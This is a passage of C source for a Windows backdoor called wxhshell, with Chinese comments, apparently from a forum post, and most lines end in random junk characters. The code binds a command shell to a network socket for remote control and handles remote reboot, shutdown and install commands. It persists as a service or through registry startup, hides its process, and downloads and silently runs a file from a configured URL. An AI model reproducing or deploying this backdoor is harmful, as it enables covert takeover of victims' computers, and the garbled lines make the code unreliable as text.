  else { Pxf>=kY  
k^d]EF  
    switch(cmd[0]) { $MDmY4\  
  q(~jP0pj%  
  // 帮助 O8#]7\)  
  case '?': { mxCneX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 392(N(  
    break; &<*M{GW'&  
  } % m6qL  
  // 安装 A\S=>[ar-  
  case 'i': { Q3i\`-kbb  
    if(Install()) U:~]>B $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )kjQ W&)g  
    else O+mEE>:w%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _}47U7s8  
    break; 1^]IuPxq  
    } }f;TG:6  
  // 卸载 DW,ERQ^  
  case 'r': { TXYO{  
    if(Uninstall()) kJB:=iq/x$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q<.k:v&  
    else yqx!{8=V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V"8Go;[  
    break; yD \Kn{  
    } ?i0u)< H  
  // 显示 wxhshell 所在路径 J0k!&d8  
  case 'p': { :KC]1_zqR  
    char svExeFile[MAX_PATH]; <z60E vHg  
    strcpy(svExeFile,"\n\r"); ? .B t.  
      strcat(svExeFile,ExeFile); /Cwwz  
        send(wsh,svExeFile,strlen(svExeFile),0); LR.]&(kyd  
    break; %Qj$@.*:  
    } I3.JAoB>!  
  // 重启 VXk[p  
  case 'b': {  IN6L2/Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CEkf0%YJ  
    if(Boot(REBOOT))  ,e 7 ~G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jK\kASwG  
    else { Cs"ivET  
    closesocket(wsh); o:UNSr  
    ExitThread(0); '_DB0_Dp  
    } {7X9P<<L7  
    break; (oCpQDab@  
    } ORX<ZO t1  
  // 关机 MsIaMW_  
  case 'd': { Tl"r#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $5ea[n c  
    if(Boot(SHUTDOWN)) zGd[sjL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `:ZaT('h  
    else { 8:I-?z;S  
    closesocket(wsh); X pK eN2=p  
    ExitThread(0); YJwI@E(l$  
    } VtN@B*  
    break; g]MgT-C|  
    } " 5Pqvi  
  // 获取shell  S{XO3  
  case 's': { V@G|2ZI  
    CmdShell(wsh); /i!/)]*-  
    closesocket(wsh); R-iWbLD  
    ExitThread(0); $WW7,  
    break; hE\gXb  
  } 6ypHH 2X  
  // 退出 o<s~455m/  
  case 'x': { ?` ebi|6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^8ilUu  
    CloseIt(wsh); |1!OwQax  
    break; +:C.G[+  
    } j}}as  
  // 离开 2xy{g&G  
  case 'q': { <gvgr4@^yR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9,>c;7s X  
    closesocket(wsh); sx[mbKj<  
    WSACleanup(); D_z&G)  
    exit(1); F&+_z&n)  
    break; SrWmV@"y  
        } }vF=XA  
  } TuwSJS7  
  } 5Yk|  
bC&xN@4  
  // 提示信息 v~!_DD au  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d\ 7OtM  
} =p8iYtI  
  } cn_KHz=  
S U P  
  return; #@M'*X_%}K  
} G@dw5EfF9  
FePWr7Ze  
// shell模块句柄 G>2: WQ/  
int CmdShell(SOCKET sock) y8di-d3_  
{ 5.Nc6$ N  
STARTUPINFO si; .X4UDZQg  
ZeroMemory(&si,sizeof(si)); 59_VC('  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -A"0mS8L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6bpO#&T  
PROCESS_INFORMATION ProcessInfo; c#[d7t8ONe  
char cmdline[]="cmd"; u |ru$cIo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PtKrks|y  
  return 0; N2EX`@_2  
} 2\xEMec  
KJ6:ZTbW  
// 自身启动模式 6~8X/ -02  
int StartFromService(void) G8hDR^ra  
{ ;MKfssG  
typedef struct p@=B\A]  
{ }/-TT0*6j<  
  DWORD ExitStatus; X&Pj  
  DWORD PebBaseAddress; Gc:oS vm  
  DWORD AffinityMask; R%%h=]  
  DWORD BasePriority; 0p \,}t\E  
  ULONG UniqueProcessId; HNL;s5gq  
  ULONG InheritedFromUniqueProcessId; 6[C>"s}Ol  
}   PROCESS_BASIC_INFORMATION; _dw6 C2]P  
2Rs-!G< ]  
PROCNTQSIP NtQueryInformationProcess; i<uk}  
\kksZ4,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |^kfa_d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,OaPrAt-  
JdA3O{mT)  
  HANDLE             hProcess; bp(X\:zAy  
  PROCESS_BASIC_INFORMATION pbi; h*X u/aOg  
"0A !fRI~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w}QU;rl8q  
  if(NULL == hInst ) return 0; P}C;%KzA  
UkXf)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j.y8H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nm=\~LP90  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6`hHx=L  
 Wfyap)y  
  if (!NtQueryInformationProcess) return 0; IgU65p  
x3?:"D2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B[6y2+6$0  
  if(!hProcess) return 0; h; 8^vB y  
JRl`evTS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $X:r&7t+Q[  
hA_Y@&=W  
  CloseHandle(hProcess); "~zQN(sR"P  
")ZsY9-P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 00)=3@D  
if(hProcess==NULL) return 0; F`\7&'I  
P~"`Og+  
HMODULE hMod; Yhkn(k2  
char procName[255]; L[FNr&  
unsigned long cbNeeded; C 9:5c@G  
n9Xssl0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F)g.xQ  
@`6db  
  CloseHandle(hProcess); R@)L@M)u;  
H6PS7g"  
if(strstr(procName,"services")) return 1; // 以服务启动 tag~SG`ov  
zS##YR  
  return 0; // 注册表启动 ?YO$NYwE  
} )cX6o[oia  
" )87GQ(R  
// 主模块 Q]}aZ4L  
int StartWxhshell(LPSTR lpCmdLine) gqf*;Z eU  
{ -K K)}I`  
  SOCKET wsl; s!d"(K9E  
BOOL val=TRUE; ZiS<vWa3R  
  int port=0; ua]>0\D  
  struct sockaddr_in door; 5-ju5z?=  
mnM!^[|z  
  if(wscfg.ws_autoins) Install(); K;wd2/jmJ  
P`K?k<  
port=atoi(lpCmdLine); `/mcjKQ&9y  
HjO-6F#s  
if(port<=0) port=wscfg.ws_port; 62X;gb  
Ox` +Z0)a  
  WSADATA data; dm&vLQVS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D`bH_1X  
K 9X0/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2vit{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \666{.a  
  door.sin_family = AF_INET; ^=nJ,-(h_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lit@ m2{\  
  door.sin_port = htons(port); 9Xg+$/  
;@$B{/Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :Sx!jx>W  
closesocket(wsl); fr1/9E;  
return 1; CmNd0S4v  
} #O< 2wMb2<  
zd+_ BPT  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Y|jK< n?H  
closesocket(wsl); u*ZRU 4 U  
return 1; Dwq}O  
} R~$W  
  Wxhshell(wsl); V(%L}0[]  
  WSACleanup(); rH9wRY(  
4&Uq\,nx  
return 0; 3@r_t|j  
D|u! KH  
} F]hKi`@  
d85\GEF9i  
// 以NT服务方式启动 9}{i8 <$=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZX0ZN2 ]  
{ H*DWDJxmV  
DWORD   status = 0; QPf#y7_@u  
  DWORD   specificError = 0xfffffff; @?A39G{  
@Fp-6J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xj/U~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5YlY=J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [/}y!;3iXM  
  serviceStatus.dwWin32ExitCode     = 0; Md9b_&'  
  serviceStatus.dwServiceSpecificExitCode = 0; l^s\^b=W  
  serviceStatus.dwCheckPoint       = 0; v(v Lk\K7  
  serviceStatus.dwWaitHint       = 0; paUlp7x  
KWVEAHIn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N`tBDl"ld  
  if (hServiceStatusHandle==0) return; $'I+] ;  
etX &o5A  
status = GetLastError(); sE4= 2p`x  
  if (status!=NO_ERROR) e Ir|%  
{ } PD]e*z{Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EK^B=)q6:W  
    serviceStatus.dwCheckPoint       = 0; pSQ)DqW  
    serviceStatus.dwWaitHint       = 0; a1;P2ikuK  
    serviceStatus.dwWin32ExitCode     = status; _c=[P@  
    serviceStatus.dwServiceSpecificExitCode = specificError; VZ?"yUZ Id  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  5:mS~  
    return; Lw 7,[?,Z  
  } ,?"cKdiZ  
+~O 0e-d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5cbtMNP  
  serviceStatus.dwCheckPoint       = 0; 6&o9mc\I  
  serviceStatus.dwWaitHint       = 0; =Rl?. +uE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'iM;e K  
} d, fX3  
Ca[H<nyj  
// 处理NT服务事件,比如:启动、停止 lsV9-)yyl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #rL%K3'  
{ `I(#.*  
switch(fdwControl) [|ghq  
{ D-8N Da(`  
case SERVICE_CONTROL_STOP: 2s{PE  
  serviceStatus.dwWin32ExitCode = 0; Y6T1_XG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <}~`YU>=v  
  serviceStatus.dwCheckPoint   = 0; 9Foo8e  
  serviceStatus.dwWaitHint     = 0; usb.cE3 z  
  { *Mf;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oj<.3U[C  
  } 7\sJ=*  
  return; q=bW!.#?  
case SERVICE_CONTROL_PAUSE: _qg)^M6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z4f\0uQ  
  break; t.sbfLu  
case SERVICE_CONTROL_CONTINUE: 8*rd`k1 |g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #%CbZw@hJ9  
  break; 2|vArRKt  
case SERVICE_CONTROL_INTERROGATE: 7 jq?zS|  
  break; VUXG%511T  
}; ?CB*MWjd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +NGjDa  
} ,?Pn-aC +  
%T]NM3|U  
// 标准应用程序主函数 Ekx3GM_]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  _6a+" p  
{ K31G>k@  
*vn^ W  
// 获取操作系统版本 l4+!H\2  
OsIsNt=GetOsVer(); ^06f\7A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IYm~pXg^0  
k0IW,z%  
  // 从命令行安装 4`F(RweGx  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Xm!;sS0  
cstSLXD  
  // 下载执行文件 5t]}(.0+  
if(wscfg.ws_downexe) { 70,V>=aJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E"l&<U  
  WinExec(wscfg.ws_filenam,SW_HIDE); YUo{e=m|  
} m,nZrap  
m1x7f% _  
if(!OsIsNt) { 'Eds0"3  
// 如果时win9x,隐藏进程并且设置为注册表启动 zx"'WM*  
HideProc(); *<k8H5z8]  
StartWxhshell(lpCmdLine); zoXCMBg[  
} y=i_:d0M  
else %M{qr!?uj  
  if(StartFromService()) pKDP1S# <  
  // 以服务方式启动 3V:{_~~  
  StartServiceCtrlDispatcher(DispatchTable); j .Ro(0%  
else v3|-eWet^  
  // 普通方式启动 HRkO.230  
  StartWxhshell(lpCmdLine); 7Q,9j.  
&7* |rshZ  
return 0; (_G&S~@.  
}
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只看该作者 1 发表于: 2006-10-10
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